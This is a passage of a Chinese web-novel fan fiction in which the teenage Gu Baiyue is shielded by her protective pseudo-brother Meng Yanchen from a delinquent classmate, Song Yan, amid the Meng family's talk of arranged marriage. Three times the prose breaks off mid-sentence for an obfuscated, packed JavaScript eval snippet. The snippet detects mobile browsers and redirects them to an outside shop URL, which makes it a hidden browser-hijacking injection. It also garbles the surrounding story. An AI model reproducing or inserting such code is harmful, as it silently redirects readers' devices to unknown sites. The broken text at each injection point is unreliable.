眼前这人不是孟宴臣,一个陌生少年,好好的校服愣是被他穿出吊儿郎当的腔调,拉链也不拉好,裤脚往上卷了几寸,故意露出脚踝和上面的纹身贴。 教导处对学生的仪容仪表有十分严格的要求,更有校领导和学生会学长学姐们,一天几遍地巡查违反纪律者,在这种情况下,他还该顶风作案,一把乱蓬蓬的短发专门做了离子烫,仿着时下流行的影视剧花美男,精心打理出帅气的造型。 平心而论,这种穿着打扮是有几分好看的,就是与高中生的身份格格不入,更像是初入社会的职业人员。 顾白月退后一步,有些戒备地问:“你谁啊,干嘛乱搭别人肩?” “我你都不知道?”陌生少年做出难以置信的模样,手指搓了搓下颌线,示意一旁的小弟帮忙自报家门,还抽空对顾白月做了一个wink。 顾白月:……不知道为什么,忽然不饿了。 小弟尽职尽责地帮自家老大壮声势:“美女,你也太没见识了,在学校混竟然连我们焰哥都不知道?你去街面上扫听扫听,谁不给焰哥几分薄面?” 顾白月精准吐槽:“不是吧,玩尬的?你们不会真以为一个中学生有什么所谓的江湖地位吧?” 哪来的不知天高地厚的中二少年。 12. 孟宴臣(十二) 一辆奢华的私家车稳稳开了过来,很快来到学校大门前。 王勉比孟宴臣大了半岁,现在已经满十八,拿到驾驶证了,这辆车就是王家家父母送他的成人礼。 肖亦骁坐在后排,满嘴跑火车地跟孟宴臣吹牛,随意往窗外一瞥,嘬嘴吹了个口哨:“啧啧,小丫头片子这是谈恋爱了?” 孟宴臣应声望过去,顾白月安安静静地站在梧桐树下,清冷又温柔,似一抹皎洁月光,令人见之心喜。 唯一让人不爽的是,有一个气质轻浮的男生,正挤眉弄眼地对她说话,顾白月转头侧身避开两步,那男孩还不依不饶地追过去。 这是干什么? 当他们孟家人是死的吗? 孟宴臣长腿一迈,大踏步走过去:“皎皎。” 顾白月转忧为喜,嫣然一笑:“哥。” 溶溶月色流泻下来,照拂在世人身上,少女眉眼妍妍,冰雪顿消。 宋焰不甘之余,还有满心满眼的惊艳,也顾不得在小弟面前丢不丢面子,竟然想跟过去继续纠缠:“别走啊同学,你叫什么名字,咱们交个朋友呗?” “请你放尊重一点。”孟宴臣忍无可忍,眼神警告地冷冷盯视宋焰,他怕顾白月脸薄心软,还特意握住皎皎手腕,将人护在身边。 许沁不知道什么时候走了过来,抱着书默默看两人对峙,目光落在顾白月手腕上的修长手指上。 女孩身量纤纤,骨架偏小,皓腕凝着一层霜雪之色,透着淡淡薄粉,肌肤吹弹可破。几根骨节分明,修韧有力的手指落在上面,不敢使足力气,却还是彰显出莫可名状的独占欲。 一种属于孟家人的霸道。 饶是如此,顾白月桃花色皮肤上也浮现一片深红,像是难以承受般,微微瑟缩了一下。 孟宴臣立刻感受到了,在顾白月手背上轻轻拍了拍,带着哄劝意味,暗示她:乖一点。 许沁暗中咕哝一句:真娇气。 孟宴臣想带着顾白月和许沁离开,然而许沁却不咸不淡地说:“哥哥和顾白月去吧,我还有事。” 她坚持不肯去,孟宴臣和顾白月只好走了。 注视着汽车消失在拐角,许沁面无表情地看了一会儿,正要走时宋焰抚弄着斜斜的长刘海靠近,压低声音问:“你跟刚才那个女孩是什么关系?听说她是孟家养女,真的假的?” 许沁顿了顿,“她不是,我才是。” …… 韩廷今天过整十八岁的生日,意义非凡,为此专门在家里搞了一场不大不小的生日宴,请了相熟的同学朋友,还有一些来自韩家生意场的伙伴。 车里,孟宴臣肃着脸审了顾白月一路,生怕她跟刚才那个中二小伙有什么牵连。 顾白月小脸皱巴巴的,叫苦不迭,就差现场唱一段窦娥冤了:“我发誓,我真不认识他,我连他叫什么都不知道。” 见两人气氛紧张,肖亦骁看不过眼了:“行了行了,我说宴臣你至于吗?咱妹都是个大姑娘了,你别整天跟老妈子似的啥都管。” 也不知道是不是孟家人的基因都这样,对人对事具有极强的掌控欲,孟怀瑾在自己的商业蓝图上是这样,付闻樱家里家外是这样,就连孟宴臣也是从小时候起就渐渐养成了固执本性。 这些年来,付闻樱掌控着儿女们大大小小的事物,孟宴臣有样学样,在某些地方甚至有过之无不及,从方方面面照料着顾白月。 有时候孟宴臣也不得不承认,尽管他会因为母亲付闻樱的强势而压抑,但他却又不可避免地在因袭着付闻樱的做派。 幸好,他还懂得己所不欲,勿施于人的道理,始终将对顾白月的关心克制在一种合力的程度。 听到肖亦骁的话,孟宴臣先是下意识地反驳:“是我妹妹。”然后他捏了捏眉骨,有些怅然对顾白月:“抱歉,哥哥今天太凶了。” 顾白月哪里不知道孟宴臣的心事,他害怕自己成为付闻樱,将付闻樱施加给他的压力,复刻在别人身上,于是总在出现类似情绪时,强硬地斩断一切。 “宴臣哥哥。”她抱着孟宴臣胳膊摇了摇,“你别难受嘛,我喜欢你管着我,有人管教的孩子多幸福啊。” 顾白月的语气很真诚。 就像很久以前,许沁不喜欢妈妈安排的学习计划,又畏惧付闻樱的气势,不敢反抗,于是选择在私底下反反复复对他抱怨。受许沁影响,孟宴臣也不禁心中动摇,怀疑付闻樱压根不爱自己,她爱的是一个学习工具。 那时候,是顾白月发现了孟宴臣的异样,揪着他的脸颊说:“宴臣咯咯,你四不四傻,哪有银为了不喜欢的孩子费劲巴拉,恨不得把索有老师都请回家。” 小姑娘正处于换牙期,掉了两颗大门牙,一说话就漏风,有种滑稽的可爱。 孟宴臣本来有些难受,见到顾白月这么安慰自己,差点被逗得破涕为笑。 小丫头多臭美多好面子啊,晓得自己掉了牙齿,有损颜面,一开口就要被周围无良大人们哈哈哈,就特有骨气地不说话。 谁知孟家员工反而多了一个游戏,比赛着看谁都哄得顾白月说话。 “皎皎,抹茶小蛋糕吃不吹?” “还有你最爱的蓝莓果冻哦,说一句谢谢姨姨就给你。” 顾白月死死捂住嘴巴,双颊鼓鼓,假装自己是一个小哑巴:这群恶趣味的叔叔阿姨啊。 最后连付闻樱都听说了,饶有兴致地将顾白月喊过去,“喏,两条裙子,你跟沁沁一人一条,皎皎选红色还是黄色?” 顾白月把头摇成拨浪鼓。 这样的顾白月,竟然会为了鼓励孟宴臣,勇敢地在他面前自曝其短,仿佛再也不怕被人笑话了。 后来孟宴臣还知道了,是付闻樱有意让顾白月来找他,给时间让两个小伙伴一起说话。她怕儿子钻了牛角尖,再也不跟自己亲近了。 于是孟宴臣最终明白,皎皎很关心自己,妈妈也是。 是的,顾白月一直觉得世上的妈妈有千百种,很难说哪一种更完美。但无论是贫穷却坚韧的季如兰,还是富有又精明的付闻樱,她们都在以自己认为最好最正确的方式,爱着孩子。 所以,顾白月是真的搞不懂许沁为什么要那么抵触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟宴臣送的礼物是一对翡翠袖口,莹润剔透,光华内敛,非常符合他深受传统文化熏陶的古典式审美。 众人将目光放在顾白月身上,实在是她无论走到哪里,都是不容忽视的第三种绝色。 顾白月笑吟吟地道:“听说韩廷哥最近迷上了打游戏,送你一副防辐射眼睛。” 别看这防辐射眼睛轻轻巧巧一小点,足足花了顾白月小一千块钱,可把这小财迷心疼坏了。 孟宴臣怕因为送礼物,让顾白月本就不富裕的经济状况雪上加霜,想替她一块准备了。 顾白月想着韩廷人不错,平常对她也很照顾,就拒绝了孟宴臣的提议,用自己零花钱选了一份。 知道顾白月没钱,这已经是她能拿出来的最高规格的礼物了,韩廷不以为忤,反而笑哈哈地打趣:“完了完了,有人该心疼了。” 顾白月羞窘:“……你咋知道我心疼钱呢。” 孟宴臣打断韩廷:“是不是该切蛋糕了?” 孟宴臣(十三) 虽说是一场孩子间的宴会,但韩家人筹办得用心,蛋糕是请一位五星酒店的糕点师专门做的,听说用得还是进口脱脂奶油。 韩廷的表妹王雨润也来了,巧的是她跟顾白月还是同班同学,因为才开学一个多月,彼此并不熟悉,今晚凑到一起倒是多聊了几句,王雨润特意告诉顾白月:“今天的甜点热量低,吃了不发胖,你也可以多尝尝。” 顾白月满眼冒星星:“真的呀?” 女孩子之间很容易打开话匣子,王雨润圆眼圆脸,脸颊带着婴儿肥,看起来有些显胖,家长一直有意限制她的饮食,这会儿顺口吐槽了几句。 顾白月深有同感,每次跳舞之前都要被老师量体重和腰围,也馋甜食很久了。 王雨润心有戚戚:“听说你们舞蹈生对体重的控制很严格?” 顾白月砸吧嘴:“没事,他们控制不了我。” 两个女孩手拉手去探索美食世界了,孟宴臣远远瞧了一眼,见顾白月吃了一口蓝莓小蛋糕,幸福得眼睛都眯起了,双眸弯弯地跟人说话。 大概是因为空气中到处都漂浮着甜香,孟宴臣只静静看着都觉得心底甜甜的。 男孩子之间有自己的娱乐项目,肖亦骁和韩廷等已经成年的玩游戏喝酒,孟宴臣端着红酒象征性地浅酌。 待会儿还要送皎皎回家,即便有司机在,孟宴臣也不允许自己喝醉。 有人抱着麦克风,在室外音响边鬼哭狼嚎,唱嗨了口无遮拦:“顾白月呢,不是说学跳舞的吗?来表演一段啊。” 旁边人起哄:“就是就是,让我们看看顾白月的魅力,够不够格当校花。” 这话一出,氛围就有些不对劲了,孟宴臣脸上礼貌微笑当即淡了下去。 正在女孩子面前吹牛耍帅的肖亦骁一顿,下一秒就骂开了:“脑子不好就去治!老子还能徒手锤爆西瓜呢,要不要现场给你表演个开瓢?” 哪里来的这没轻没重,说话不懂区分场合的冒失客人? 韩廷对孟宴臣道了一句抱歉,好好的聚会让俩酒蒙子搞砸了,他叫来管家:“那两个客人大概是喝醉了,请他们去休息室醒醒酒吧。” 王雨润这姑娘好像有点呆萌,一晚上竟说大实话:“他们肯定是看你长得漂亮,又不是正经孟家人,所以拿你寻开心,你别过去。” 这话顾白月是赞同的,别说什么喝醉了一时嘴快,怎么不见他们去调戏韩廷呢,还不是柿子专拣软的捏。 韩廷:……别搞我。 孟宴臣不爱凑热闹,既然礼物已经送到,宴会上又有他不喜欢的人,干脆跟韩廷肖亦骁等好友约好下次再聚,要带顾白月离开。 “哥,不着急。” 顾白月还是那副温温柔柔,又清清冷冷的模样,仿佛一点都没有听出来别人对自己的轻蔑,毫不在意地说:“等我一下啊。” 她随手拿了一瓶橙汁,也不用孟宴臣帮忙开瓶盖,自己气沉丹田,一个手刀砍过去,瓶盖哐啷一声掉在地上。 目光凉凉地扫视那两个故意挑事的人,顾白月似笑非笑,表情促狭:“我可不是柔软不能自理的菟丝花。” “是。”孟宴臣开玩笑,“你是食人花。” 顾白月将橙汁递给王雨润:“喏,不是说渴了吗?” 王雨润一脸惊艳:“哇哦,顾白月你真是……泰裤辣!”就刚刚那个动作干净利落,特别潇洒。 顾白月笑而不语,保持着高冷而神秘的微笑,乖乖跟着孟宴臣走出去,一脱离大家视线就满脸狰狞,抖落着右手跳踢踏舞:“痛痛痛,痛死啦……” 孟宴臣早有先见之明,握着她的手指轻轻按揉,好笑道:“一生要强的顾皎皎。” 顾白月疼得哼哼唧唧,嘴里还逞强:“那当然,我告诉你我这人一般不记仇,因为我有仇当场就报了。” 孟宴臣捧着她的手,默默低头垂眸,心说:你不记仇,我可记仇得很呐。 将顾白月送回家,一下车就看到季如兰在楼下花园边徘徊,披着衣服等女儿。 顾白月心中一暖,小鹿一般蹦蹦跶跶跑过去,“妈妈,妈妈。”亲昵地抱住季如兰,依偎在她肩膀蹭了蹭。 季如兰无奈:“臭丫头,这么大人还撒娇。” 顾白月笑嘻嘻:“就爱跟妈妈贴贴,妈妈身上香香的暖暖的。” “好了好了,别闹。” 季如兰拍了拍顾白月,向孟宴臣道谢之后,母女两人亲亲密密地往家里走,“你宴臣哥真是个好孩子,妈妈没啥文化,这些年多亏了宴臣明里暗里照顾你,管教你学习。” 她语气一顿,认真道:“该抽个时间,好好谢谢人家。” 顾白月疑惑:“妈,你怎么突然说这话?我一直拿宴臣哥当亲哥哥,咱们要是谢来谢去宴臣哥会不高兴的,太生分了。” 季如兰呢喃:“毕竟不是亲兄妹,人家没义务看顾你一辈子的。” …… 国庆节的时候学校放假,顾白月想到很久没去看望在孟家厨房工作的叔叔阿姨,就陪着季如兰一起上班,系着专属小围裙帮忙择菜。 孟怀瑾交好的一个商业伙伴今天家里办喜事,听说是那人大儿子结婚,孟家父母带着一双儿女去赴宴,回来的时候已经很晚了。 看到顾白月,付闻樱点头道:“皎皎来了?不错,一个月没见出落得更漂亮了。” 付闻樱还跟以前一样,无论何时何地,身上永远都充斥着知性美,顾白月诚心诚意地赞她:“阿姨也是,越来越优雅有气质了。” 付闻樱笑:“小丫头嘴巴还挺甜。” 孟宴臣看了一眼挂钟:“皎皎,你怎么还没回家?” 顾白月和季如兰将醒酒汤端出来,“妈妈怕你们喝了酒难受,煮了汤在火上热着,等叔叔阿姨喝完,我们再回家。” 孟怀瑾闻言道:“耽误你妈妈下班了。”心里暗自决定听从付闻樱的建议,再给季如兰涨一涨工资。 一家人其乐融融地喝汤,沉默许久的许沁忽然冷不丁道:“妈妈,今天婚礼上的那对新郎新娘,怎么看起来不太熟的样子?” 付闻樱下意识教导许沁:“沁沁,吃东西的时候不要说话。”不过许沁性子孤冷,好不容易主动找她聊天,付闻樱也就耐心解释:“商业联姻没有感情基 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9420353|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 础,看起来当然疏远了一些。” 许沁继续问:“必须要商业联姻吗?我们长大以后也要这样吗?” 既然话赶话说到这里,付闻樱干脆跟孩子们挑明,她看着许沁和孟宴臣:“爸爸妈妈不会强迫你们商业联姻,用你们一辈子的幸福换取筹码,但最起码要门当户对吧。你们现在还小,不明白任何一段关系的维持,尤其是婚姻关系,永远离不开金钱。门当户对这套理论虽然俗气,但它能在最大程度上,从家庭背景、个人学识、生活习惯等方面做出筛选,避免遇人不淑。” 许沁和孟宴臣认真听着,各怀心事。 付闻樱纳闷,怎么她一双儿女都情绪不高的样子。 季如兰换下员工服,正要带女儿一起下班,出于礼貌离开前过来打声招呼,听到这番话,也若有所思地问:“这么说,少爷以后肯定要娶一位富家大小姐了?” 付闻樱和孟怀瑾都觉得讶异,没料到季如兰会突然插话,要知道她在孟家工作十来年,一向规规矩矩安守本分。 “怎么一个两个对联姻这个话题这么感兴趣……” 这些年来付闻樱和季如兰相处得不错,除了雇佣和被雇佣的关系外,也算是有些交情,见季如兰固执地想知道答案,告诉她也无妨:“沁沁是女孩子,选择权大一些。宴臣不一样,他未来的妻子是要做国坤的掌舵人,跟他一起承担风险的,大概率是要选合作伙伴家的姑娘。” 她直接当着许沁和孟宴臣的面说出来,也有自己的考量,孩子一天比一天大,眼看就要成年,万春心萌动开始早恋,那就麻烦了。 与其如此,不如一开始就断了他们不合时宜的念头。 孟宴臣不知道为什么,听得心头发闷,胃口全失,就连许沁瞟向他的目光都没察觉。 …… 那个男生叫宋焰。 许沁坐在窗边写作业,微微侧头就能看到他站在走廊里,百无聊赖地依着栏杆打理头发,阳光投射在他身上,仿佛熠熠闪光。 她知道宋焰,学校里有名的小混混,听说私下里抽烟喝酒什么都来,仗着一张还不错的脸,以及青春期的无知无畏横行无忌。 宋焰身上洋溢着让许沁沉迷的危险气息,她管这个叫做自由。 至于他为什么总在窗边徘徊,自然也是醉翁之意不在酒。 许沁望向侧前方的顾白月,她正一脸苦大仇深地跟化学题死磕。 那本资料书许沁曾在孟宴臣手里见过,页面上隐约还有孟宴臣总结的做题技巧。 俏媚眼抛给瞎子看。 孟宴臣给顾白月圈了一些基础化学题做,说好了今天晚上检查。 想到小孟老师的铁面无私,顾白月不敢懈怠,老老实实地写了半天,结果还是被一道题难住了。 顾白月想啊想啊,想着想着开始拄着脑袋发呆,恶作剧地在空白地方画涂鸦。 于是,晚上孟宴臣检查作业时,甫一打开就看到了顾白月的杰作,旁边还写着萌乎乎的字:送你一只花福蝶~~~你骂了它就不许骂我了哦~~ 孟宴臣气笑了:花福蝶?我看分明是一只大扑棱蛾子。 孟宴臣(十四) 顾白月比许沁小了一岁半,本来不在同一年级,但是顾白月小学时受够了每天被人捏脸蛋的日子,申请了跳级考试。 到了初中还想再次跳级,奈何遇到了化学和物理两座大山,季如兰驳回了顾白月的申请。 现在顾白月和许沁同在津南高中高一(五)班,孟宴臣和肖亦骁在津南中学高三(一)班,都是被题山学海虐得体无完肤的可怜人。 毕业班的学生面临着高考压力,学习节奏快,老师也经常拖堂,都放学快二十分钟了,班主任张老师还在激情澎湃地讲解议论文写作思路。 好不容易等到小老头大赦天下,一群学生争先恐后往外跑,生怕张老头又杀一个回马枪。 肖亦骁一脑袋杵在桌子上,有气无力:“求求了,来个人毁灭地球吧,这种暗无天日的生活,啥时候是个头啊。” 孟宴臣书包都整理好了,抬腿就要走,压根没时间听他伤春悲秋。 “喂喂,你这急匆匆的打算去哪玩,带我一个?” 顾白月远远冲两人挥手,惊异道:“骁骁,你确定要跟我们一起去吗?” “叫什么骁骁,叫哥,没大没小的。”肖亦骁伸手想呼噜一把顾白月的头发,不出意料地孟宴臣来拦。 三人说说笑笑往校园外走,孟宴臣约顾白月放学后去买书,因为书店离得近,有直达的公交车,就没让家里司机开车过来。 路过一条小巷子,黑暗处隐隐传来打斗声,有人在里面吵吵嚷嚷骂架,话说得不堪,听得孟宴臣直皱眉毛,捂着顾白月小耳朵:“别听。” 顾白月眨巴眼睛:“……可是我已经听到了呀。” 不仅听得一清二楚,那人的声音还有些熟悉,顾白月好奇地往里面探头望了一眼,七八个男生懒懒散散地站在那里,校服外套松松垮垮地系在腰上,个个撸起袖子磨拳嚯嚯。 嗳,这是要打群架吗? 为首那人正是宋焰,他指间掐着一根烟,靠着墙壁熟练地吞云吐雾,四十五度角仰望天空,语调深沉地说道:“别逼我出手。” 隔壁校霸怒了,呸得一声骂道:“妈的,最烦你这种装逼怪了。” 孟宴臣拉着顾白月就走。富人家孩子为免遭遇绑架,从小学习各种防身技能,孟宴臣跟肖亦骁都练过几年散打,体能课也没少上,对付几个小混混不成问题,怕就怕殃及顾白月。 “刚才那个男生看起来有点眼熟,是上次纠缠你的人?”孟宴臣对宋焰的第一印象很差,现在又意外撞见这一幕,不禁又加了几分厌恶。 顾白月点头:“是我们班同学,叫宋焰。不过他经常不来学校,来了也是上课睡觉,下课挑事,幼稚得很。” 肖亦骁:“这个宋焰我听说过他,他爸爸过世,妈妈跟人跑了,一直跟着舅舅舅妈过日子,三天两头寻衅滋事,校领导看他可怜也没下狠手,这小子还以为人家怕了他,有点混不吝。” 同样都是爱玩爱闹的性子,肖亦骁自认为自己虽然是个学渣,却绝对不是人渣,什么事能做什么事不能做,他还是一清二楚的,像宋焰这种看似潇洒恣意,逍遥自在,过一天算一天,说好听点是年少轻狂,说难听点就是不知所谓,靠着虚度青春获得短暂快乐。 顾白月吃着孟宴臣递过来的棒棒糖,“所以有时候我真挺不理解他的,像我们这种一无所有的穷人,不是更应该抓住高考这个机会,逆天改命吗?还是说他打算到了高三再发力,做一匹黑马?” 孟宴臣:“不理解就算了,他的选择与我们无关。”他挺不愿意顾白月耗费心神,关注一个无足轻重的人。 然而,这回却是孟宴臣失策了,宋焰非但不是他们人生路上的路人甲,反而与孟家有着不解之缘。 …… “你都看到了,是吧?”宋焰带着一群小弟,忽然拦住顾白月。 顾白月看着眼前这个笑容浮夸,总是莫名其妙仰头用下颌线看人,时不时拧一下眉头的人,他脸上毫无被人抓到做坏事的心虚,反而有一种不知从哪儿的强大自信,“怎么样,哥打架的样子很帅吧?” 顾白月深深吸了一口气,觉得整个人都好像被齁到了,“所以,你把我堵在这儿,就是为了问这个?” 不是,他有病吧? “我知道你在害羞。”宋焰自说自话,故作漫不经心地抬手甩了一下刘海,深情款款地说道:“我来是想告诉你,老子相中你了,做我女朋友吧。放心,哥不打女人。” 顾白月陷入了前所未有的自我怀疑中:“是我的记忆被人重置了吗?我们俩还没熟到开这种玩笑吧?”她一脸的敬而远之,往后退了退,“容我提醒一下,宋焰同学,作为一个中学生,你应该做到不打人,而不是不打女人。而且,早恋是不对的!” “还没正式交往就开始管我了?”宋焰迷之微笑,“真是拿你没办法。” 顾白月两眼一黑:“救救救救我……” 宋焰又开始wrink了,他大约是自有一套逻辑,完全不管顾白月在说什么,哪怕是再明显不过的拒绝,都会被他自动解读为欲擒故纵,因为在他的认知里,自己帅得天上有地下无,合该有顾白月这么漂亮亮眼的校花做女朋友。 “知道你们女孩子脸皮薄儿,你故意往墙角退,不就是想让我壁咚一下吗?”他单手撑墙,斜斜插兜:“怕了你了,这样行了吧?” 顾白月快崩溃了:“你要再靠近,我就报警了,没开玩笑。” 宋焰眼神散漫无礼,表情又野又邪:“怕啥,老子是你男人。”(注1) 顾白月:脚趾头接了一项前所未有的大单子。 一群小弟嘻嘻哈哈地笑,宋焰眉头皱出川字纹,用低音炮骂他们:“笑什么笑,都给我叫嫂子!” “嫂子好!” 顾白月:忒!兀那妖怪,还不赶快收了邪术! 仿佛听到了顾白月灵魂深处的呼唤,孟宴臣恰好从楼梯走下来,看清眼前这一幕惊得瞳孔紧缩,脸色顿时十分难看,修长笔直的双腿大步迈过来,“皎皎!” “宴臣哥……”顾白月如同见到救命稻草,麻溜钻出来,“救命啊,这人一上来就说要我做他女朋友。” 孟宴臣心内剧震: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9421535|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么人这么禽兽,皎皎今年才上高一,还没成年呢。 冷眼扫视过去,竟然又是那个名叫宋焰的男生,孟宴臣不得不怀疑自己跟他八字犯冲,不然怎么每回见了他都没好事。 孟宴臣托了托眼镜框:“宋焰同学,我记得我跟你说过吧,离皎皎远一点,不要打扰她学习,事不过三,再有下次小心我揍你。” 宋焰不屑,仰头用下巴看着这个高高在上的男生,“你谁啊?老子跟她的事你少管。” 顾白月抱着孟宴臣胳膊狐假虎威:“他是我哥孟宴臣,比你厉害一千倍,不,一万倍!”孟宴臣一来,顾白月的底气就来了,特别有安全感。 不然,顾白月还真不敢一个人面对精神状况不稳定的自恋狂。 感受到顾白月的依赖,孟宴臣心中方才油然生出的危机感,以及自己也说不清道不明的忐忑慌乱,缓缓消逝了。 没关系,他们虽然不是亲兄妹,但从小到大,无论有多少人冷言冷语挑拨离间,皎皎从未与他生疏。 这让孟宴臣的出头显得名正言顺,合情合理。 孟宴臣不想跟宋焰多歪缠,带着顾白月转身就走,心底已经开始考虑,要不要跟顾白月的班主任谈谈了。 “等一下。”宋焰从口袋里掏出一颗话梅糖,在顾白月面前晃了晃,“本来精心给我女朋友准备了话梅糖,现在看来某人是没这个口福喽。” 孟宴臣:…… 顾白月:…… 孟宴臣真想一巴掌打醒这不知天高地厚的小子,一颗糖就想骗走人家爱若珍宝,好茶好饭养了十几年的宝贝姑娘,脑子没毛病吧? 顾白月无力地摆了摆手:“……请便。” 宋焰剥开糖纸将话梅糖丢进嘴巴里,夸张地瞪大眼睛,挤眉弄眼地说:“嘶,这个味道,酸溜溜甜滋滋,真是绝啦……” 顾白月:……我见识少,你别骗我,这确定是吃了糖,不是嗑嗨了? 孟宴臣二话不说带着顾白月就走,等离远了才慎重其事地叮嘱她,“最近放学千万别一个人走,无论是回家还是去练舞室,都等我一起。” 他顿了顿,有些犹豫地点了点自己太阳穴,“刚才那个宋焰,他是不是这里有问题?” 顾白月心有余悸:“我觉得很有可能。” 孟宴臣想到了什么:“对了,这事要不要告诉兰姨,请兰姨在家长会上跟你们班主任沟通一下,宋焰说不定会有所收敛。” “还是算了。”顾白月不想麻烦季如兰,“妈妈工作挺累的,就别让她为我的事操心了。” 孟宴臣赞同:“也好,我看兰姨最近好像脸色不太好,应该多休息。要不我跟妈妈说一声,给兰姨放一段长假调整状态?” 顾白月无奈:“妈妈不同意。不过我跟妈妈说好了,等月末放大假,陪她一起去医院检查检查,本来这个周末就要去的,可惜妈妈说她要回一趟老家。” “兰姨回老家几天?” “两三天吧。” 孟宴臣担心:“那家里岂不是只剩你一个人?” 这怎么能行。 孟宴臣(十五) 将顾白月独自一人留在家,季如兰当然不放心,但她也是别无他法。顾白月说陪着她一起回老家,季如兰以不能耽误学习为由拒绝了。 季如兰一走两三天,要跟雇主解释清楚。 付闻樱听说季如兰要回乡探望父母,自然不会阻拦,只是:“皎皎怎么办?不如让孩子来家里住两天。” 匹夫无罪怀璧其罪,顾白月这两年出落得越发标致水灵,一个人在家太招眼了,万一有人起了歹心,小姑娘出点意外,别说亲妈季如兰了,付闻樱敢保证她儿子孟宴臣第一个哭死。 季如兰推辞:“会不会给先生太太添麻烦,本来商量好找一个安全系数高点的酒店,让孩子凑合两天。” 付闻樱摆摆手:“麻烦什么,皎皎这孩子也算是我看着长大的,不怕你吃醋,我有时候都觉得皎皎比沁沁贴心多了,真心羡慕你有这么个乖巧的小棉袄,要不是你舍不得,直接让皎皎给我当女儿多好。” 季如兰知道付闻樱说得不是客套话,从皎皎小时候起,付闻樱和孟怀瑾就对她颇多关照,口头上的夸奖更是家常便饭。 这天放学,许沁坐上孟家专车,等了一会儿才见孟宴臣和顾白月有说有笑地走过来,两人一起上车。 许沁发懵:“顾白月?” 顾白月从孟宴臣身后探出头来,抓着书包带打招呼:“许沁姐姐。” 许沁:“你怎么来了?” “沁沁,兰姨回乡探亲,皎皎这几天来家里作客。”孟宴臣觉得许沁的语气有些不礼貌,怕她不欢迎顾白月,微微加重了语调:“是妈妈邀请的。” 顾白月知道许沁不喜欢自己,从很小时候起,她就能似有若无地感知到许沁的厌恶,尽管许沁有时候会故意隐藏起来,但一个小孩子的伪装其实并不算高明。 不过没关系,顾白月觉得自己又不是什么稀世珍宝,会有人讨厌很正常。 顾白月在孟家吃了一顿丰盛的晚餐,饭后又跟付闻樱孟怀瑾两个长辈聊了几句。八点一到,三个孩子就齐刷刷站起身去写作业。 孟宴臣带顾白月去了客房,“你知道的,听说你要来家里住,我妈专门让人换了全新的床单被套,衣柜里还有清洗好的换洗衣服,要是缺什么东西直接跟我说。” “放心好啦。”顾白月在孟家还算自在,毕竟她也来过无数次了,她冲孟宴臣挥手道别,高高束起的马尾在空中荡出一个漂亮的弧度,“宴臣哥晚安。” “晚安。” 房门合上,顾白月好奇地看了看付闻樱布置的房间,果然处处精致,窗帘被褥都是年轻女孩喜欢的风格,衣柜里的裙子明显不曾上过身。 顾白月认出其中几件是轻奢品,许沁经常穿这个牌子的衣服。 无功不受禄,顾白月想着自己来孟家借住,已经够麻烦人家了,哪里还能腆着脸收这么多漂亮小裙子。 不过看一看过足眼瘾,还是没问题的。 顾白月瞧了瞧这些可可爱爱,风格各异,俏丽之中又带点小优雅的衣服,纳闷地挠了挠脑袋:“所以许沁到底在压抑什么啊?” 她是怎么做到一边反反复复抱怨付闻樱管教严苛,衣食住行样样都要插手,一边心安理得地享受锦衣玉食,毫无芥蒂地穿戴付闻樱置办的衣服饰品? 顾白月看够了之后,洗澡换上自带的睡衣,跟妈妈季如兰打电话,母女两人说了十来分钟话,季如兰就催促顾白月背单词。 一墙之隔,孟宴臣认认真真订正试卷上的错题。 高三是人生至关重要的一年,哪怕是孟怀瑾和付闻樱这种可谓已经功成名就的人,也从来不会否认学习的意义,甚至比一般家庭更为重视。 夫妻两人还曾告诫孟宴臣,绝不会利用自家关系给儿女谋捷径,他们的路必须靠自己拼搏。 在这种高压政|策下,孟宴臣时常会感到窒息,许沁似乎也多有怨言,好在还有顾白月。 孟宴臣抬头望了一眼夜空中清冷又温柔的明月,她是如此皎洁,如此无暇,在每一个孤寂清冷的深夜,默默陪伴书桌边的他。 一遍又一遍地刷试卷,冲击奥数,准备各种各样的竞赛,孟宴臣偶尔也会产生错觉,自己仿佛变成一只提现木偶,由几根无形的线被妈妈牢牢操控在手中。 每当这时候,顾白月就会一次又一次,不厌其烦地告诉他,孟宴臣你很好很优秀,付阿姨也远比你想象中更加爱你。 季如兰时常向他表达谢意,谢他照顾顾白月,然而孟宴臣却发自内心地认为受之有愧。 每一次,当孟宴臣站在深渊之侧,随时有可能崩溃地坠落,都是顾白月拉住了他,给他带来一丝清新空气,给他喘息之机。 现在,只要一想到顾白月就在隔壁,或许正皱着细长好看的双眉,苦恼地抱怨数学题太难。 孟宴臣心底就无端地涌上一阵欢喜。 …… 第二天的语文课上,老师带领大家一起鉴赏古诗词。肖亦骁的心思从来不在学习上,所以他毫无意外地跑神了,还拿铅笔捅咕孟宴臣胳膊,一副有八卦要聊的模样。 孟宴臣专心听课视若无睹。 “皑如山上雪,皎若云间月。你听这两句像不像在说皎皎?” 